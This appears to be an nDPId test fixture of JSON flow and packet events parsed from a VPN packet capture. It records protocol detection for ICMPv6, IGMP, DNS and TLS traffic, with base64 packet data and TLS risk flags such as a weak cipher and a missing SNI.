+00460{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":9,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569687241656,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::2e7e:81ff:feb0:4aa1","dst_ip":"ff02::1","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +00583{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":656833,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00494{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":9,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1569687241656,"flow_last_seen":0,"flow_tot_l4_data_len":120,"flow_min_l4_data_len":120,"flow_max_l4_data_len":120,"flow_avg_l4_data_len":120,"midstream":0,"l3_proto":"ip6","src_ip":"fe80::2e7e:81ff:feb0:4aa1","dst_ip":"ff02::1","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00436{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":10,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569687241657,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00405{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687241,"pkt_ts_usec":657102,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBeAAD7pHczjPFACABGwAAgAABAAAEC+IcKAACV4AAA+5QEAAAWAAkE4AAA+w=="} +00468{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":10,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1569687241657,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"224.0.0.251","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00448{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687242,"pkt_ts_usec":68210,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl95UH0ntZWziAAAAALAC\/\/8\/+wAAAgQFtAEDAwUBAQgKHA1tlQAAAAAEAgAA"} +00437{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569687242271,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.3.22","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687242,"pkt_ts_usec":271196,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBefwMWpHczjPFACABGwAAgAABAAAEC5m0KAACV7\/8DFpQEAAAWAPbp7\/8DFg=="} +00469{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1569687242271,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.3.22","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00440{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1569687242476,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.255.250","l4_proto":2,"flow_datalink":1,"flow_max_packets":15} +00413{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687242,"pkt_ts_usec":476020,"pkt_caplen":46,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":38,"pkt_len":46,"pkt_l4_len":8,"pkt":"AQBef\/\/6pHczjPFACABGwAAgAABAAAEC6YgKAACV7\/\/\/+pQEAAAWAPoE7\/\/\/+g=="} +00472{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1569687242476,"flow_last_seen":0,"flow_tot_l4_data_len":8,"flow_min_l4_data_len":8,"flow_max_l4_data_len":8,"flow_avg_l4_data_len":8,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.149","dst_ip":"239.255.255.250","l4_proto":2,"ndpi": {"proto":"IGMP","breed":"Acceptable","category":"Network"}} +00447{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687243,"pkt_ts_usec":71120,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl95UH0ntZWziAAAAALAC\/\/88EwAAAgQFtAEDAwUBAQgKHA1xfQAAAAAEAgAA"} +00447{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687244,"pkt_ts_usec":72384,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"2DE0IHf7NDY7z3UoCABFAABAAABAAEAGJT8KAADjCgAAl95UH0ntZWziAAAAALAC\/\/84KwAAAgQFtAEDAwUBAQgKHA11ZQAAAAAEAgAA"} +00584{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687244,"pkt_ts_usec":524070,"pkt_caplen":174,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":174,"pkt_l4_len":120,"pkt":"MzMAAAABLH6BsEqhht1gAAAAAHg6\/\/6AAAAAAAAALn6B\/\/6wSqH\/AgAAAAAAAAAAAAAAAAABhgBH5kDAALQAAAAAAAAAABkFAAAAAVGAIAEFWP7tAAAAAAAAAAAAASABBVj+7QAAAAAAAAAAAAIDBEDAAAL9HQAC\/R0AAAAAJgEGRoQCRLAAAAAAAAAAABgDAAAAAAC0AAAAAAAAAAAAAAAAAAAAAAEBLH6BsEqh"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1569687245251,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":52879,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00454{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":251202,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABE1h4AAP8RQxAKAADjS0tMTM6PADUAMDW7jEkBAAABAAAAAAAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AAAEAAQ=="} +00644{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1569687245251,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":52879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00474{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":288531,"pkt_caplen":98,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":98,"pkt_l4_len":64,"pkt":"NDY7z3UoLH6BsEqhCABFAABUAABAADYRoh9LS0xMCgAA4wA1zo8AQIZKjEmBgAABAAEAAAAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AAAEAAcAMAAEAAQAAADwABAglZls="} +00669{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":18,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":2,"flow_first_seen":1569687245251,"flow_last_seen":1569687245288,"flow_tot_l4_data_len":112,"flow_min_l4_data_len":48,"flow_max_l4_data_len":64,"flow_avg_l4_data_len":56,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":52879,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"8.37.102.91"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1569687245295,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61387,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":295996,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABE77wAAEAR6XMKAADjS0tLS+\/LADUAMHT3LLcBAAABAAAAAAAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AABwAAQ=="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1569687245295,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61387,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00566{"flow_id":10,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":320461,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"NDY7z3UoLH6BsEqhCABFAACVAABAADoRnt9LS0tLCgAA4wA178sAgY60LLeBgAABAAAAAQAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AABwAAcAYAAYAAQAAA4QARQZucy02MzIJYXdzZG5zLTE1A25ldAARYXdzZG5zLWhvc3RtYXN0ZXIGYW1hem9uwB8AAAABAAAcIAAAA4QAEnUAAAFRgA=="} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":20,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":2,"flow_first_seen":1569687245295,"flow_last_seen":1569687245320,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":48,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.75.75","src_port":61387,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1569687245321,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":62322,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00455{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":321860,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"LH6BsEqhNDY7z3UoCABFAABEwHQAAEARF7sKAADjS0tMTPNyADUAMHBPLLcBAAABAAAAAAAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AABwAAQ=="} +00646{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1569687245321,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":62322,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00566{"flow_id":11,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":366723,"pkt_caplen":163,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":163,"pkt_l4_len":129,"pkt":"NDY7z3UoLH6BsEqhCABFAACVAABAADYRod5LS0xMCgAA4wA183IAgYoMLLeBgAABAAAAAQAAA3ZjbwdwYW5kaW9uBnZpYXNhdANjb20AABwAAcAYAAYAAQAAA4QARQZucy02MzIJYXdzZG5zLTE1A25ldAARYXdzZG5zLWhvc3RtYXN0ZXIGYW1hem9uwB8AAAABAAAcIAAAA4QAEnUAAAFRgA=="} +00668{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":22,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":2,"flow_first_seen":1569687245321,"flow_last_seen":1569687245366,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":48,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":88,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"75.75.76.76","src_port":62322,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"vco.pandion.viasat.com","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1569687245379,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56918,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00450{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":379692,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"LH6BsEqhNDY7z3UoCABFAABAAABAAEAGwVUKAADjCCVmW95WAbsTaDYfAAAAALAC\/\/\/9eAAAAgQFtAEDAwUBAQgKHA16ewAAAAAEAgAA"} +00440{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":420271,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"NDY7z3UoLH6BsEqhCABFAAA4kvsAAPcGt2EIJWZbCgAA4wG73lYzzRbpE2g2IJASgADBAwAAAgQFtAEBCAo\/+VnGHA16ew=="} +00434{"flow_id":12,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":420351,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"LH6BsEqhNDY7z3UoCABFAAA0AABAAEAGwWEKAADjCCVmW95WAbsTaDYgM80W6oAQ\/\/9YmgAAAQEIChwNeqI\/+VnG"} +00663{"flow_id":12,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":420749,"pkt_caplen":233,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":233,"pkt_l4_len":199,"pkt":"LH6BsEqhNDY7z3UoCABFAADbAABAAEAGwLoKAADjCCVmW95WAbsTaDYgM80W6oAY\/\/+4KQAAAQEIChwNeqI\/+VnGFgMBAKIBAACeAwM+zYdRpoPn9yYDnCChCBgRRxI\/vte+Xuq+CHHW0pF46gAALMAswDAAnwCdwCTAKABrAD3AK8AvAJ4AnMAjwCcAZwA8ADkANQAzAC8ACgD\/AQAASQALAAQDAAECAAoACgAIABkAGAAXABMADQAgAB4GAQYCBgMFAQUCBQMEAQQCBAMDAQMCAwMCAQICAgMAEAALAAkIaHR0cC8xLjE="} +00750{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":4,"flow_first_seen":1569687245379,"flow_last_seen":1569687245420,"flow_tot_l4_data_len":311,"flow_min_l4_data_len":32,"flow_max_l4_data_len":199,"flow_avg_l4_data_len":77,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56918,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1"}} +00432{"flow_id":12,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":467901,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"NDY7z3UoLH6BsEqhCABFAAA01g8AAPcGdFEIJWZbCgAA4wG73lYzzRbqE2g2x4AQgADXxAAAAQEICj\/5WfQcDXqi"} +02390{"flow_id":12,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1569687245,"pkt_ts_usec":469088,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"NDY7z3UoLH6BsEqhCABFAAXc0GEAAPcGdFcIJWZbCgAA4wG73lYzzRbqE2g2x4AYgADj\/wAAAQEICj\/5WfUAAAAAFgMDAEoCAABGAwNGY8X1XGeskR+DB6H8u05zgfXUF1Em8dt25Bz9wtftVSBG2iDOKRACO\/zsXshJ8HPrVULueirBjXs51B0\/QnctfgA1ABYDAxYMCwAWCAAWBQAHTzCCB0swggYzoAMCAQICEEzL1X2WMv84AAAAAFDtNsswDQYJKoZIhvcNAQELBQAwgboxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxLjAsBgNVBAMTJUVudHJ1c3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBMMUswHhcNMTkwMjA1MjE0MzU4WhcNMjEwMjA1MjIxMzU3WjBqMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTERMA8GA1UEBxMIQ2FybHNiYWQxFDASBgNVBAoTC1ZpYXNhdCBJbmMuMR0wGwYDVQQDDBQqLnBhbmRpb24udmlhc2F0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMDLELlHVBK6u0Ebo80pCb8efwbCh\/TMouznnqPBNL9tRNwaGpyybhpzuk1Zsi17UHvzdRRi5jC1ABXEEMLDXnTmlJa8rTgrPFp+bDbQ0hUdzWHHqPeU2HtG04mySjEkEvEPPwEnXQ9WDwkLnm26wRjipUJ8im1nDlikggUMLPlTTSKVgq3SBlVGLStLOLbOoOETJwpjr5YBSUNc5kkHfCAlc5qW4vLVkqFKFRcjyNxUOZxbBYtQaUddL0tuM4H9CfrWrqh9LLWx1xsOqHp+nS51DEO+pTwRR6wUyq6bNJMs+PbLCQs17zxAOp51PnIcZcczqbjMDGIgELfxksap7yECAwEAAaOCA5owggOWMDMGA1UdEQQsMCqCFCoucGFuZGlvbi52aWFzYXQuY29tghJwYW5kaW9uLnZpYXNhdC5jb20wggH3BgorBgEEAdZ5AgQCBIIB5wSCAeMB4QB3AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABaL+5ngAAAAQDAEgwRgIhAKxxvM9C5gPV1Owy4M\/Dyzx7kBpwyzXQc7wZ0mGBR9fOAiEA\/A\/FJxuASzJphQeYq5ltFnIhSeTPRbPItlQigQZkkDwAdgBElGUusO7Or8RAB9io\/ijA2uaCvtjLMbU\/0zOWtbaBqAAAAWi\/uZ35AAAEAwBHMEUCIQDNq3daAkrYxX6VQ9b6GqComWKfQou0IMsDnXGHMLZiSAIgEnWktUcQyNRmFvjh+POicMbVzLnjlwLij\/eoPMW67IwAdgBWFAaaL9fC7NP14b1Esj7HRna5vJkRXMDvlJhV1onQ3QAAAWi\/uZ5ZAAAEAwBHMEUCICH\/OekR\/g8Jdz2Y7Qc3us2XTMZ75OBnWYjV61BMMxsGAiEAtIuo7AamIHqnZDAbI1eeM3ogDSbRJ5hn12CgIZCempMAdgC72d+8H4pxtZOUI5eqkntHOFeVCqtS6BqQlmQ2jh7RhQAAAWi\/uZ5NAAAEAwBHMEUCIHkJ3QKOEfzyT\/nCAMVpK04S4woe8rsVcpjzIhSsRoSsAiEA324g9fbsnh\/O\/XKfcV4vnykRYq8iMzykYAT+PPtA1MEwDgYDVR0PAQH\/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLmVudHJ1c3QubmV0L2xldmVsMWsuY3JsMEsGA1UdIAREMEIwNgYKYIY="} +00820{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":28,"source":"anyconnect-vpn.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":6,"flow_first_seen":1569687245379,"flow_last_seen":1569687245469,"flow_tot_l4_data_len":1823,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":303,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.227","dst_ip":"8.37.102.91","src_port":56918,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","24":"SNI TLS extension was missing"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"","ja3":"9f1a41f932f274fe47a992310a26a23a","ja3s":"82f0d8a75fa483d1cfe4b7085b784d7e","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","alpn":"http\/1.1"}} 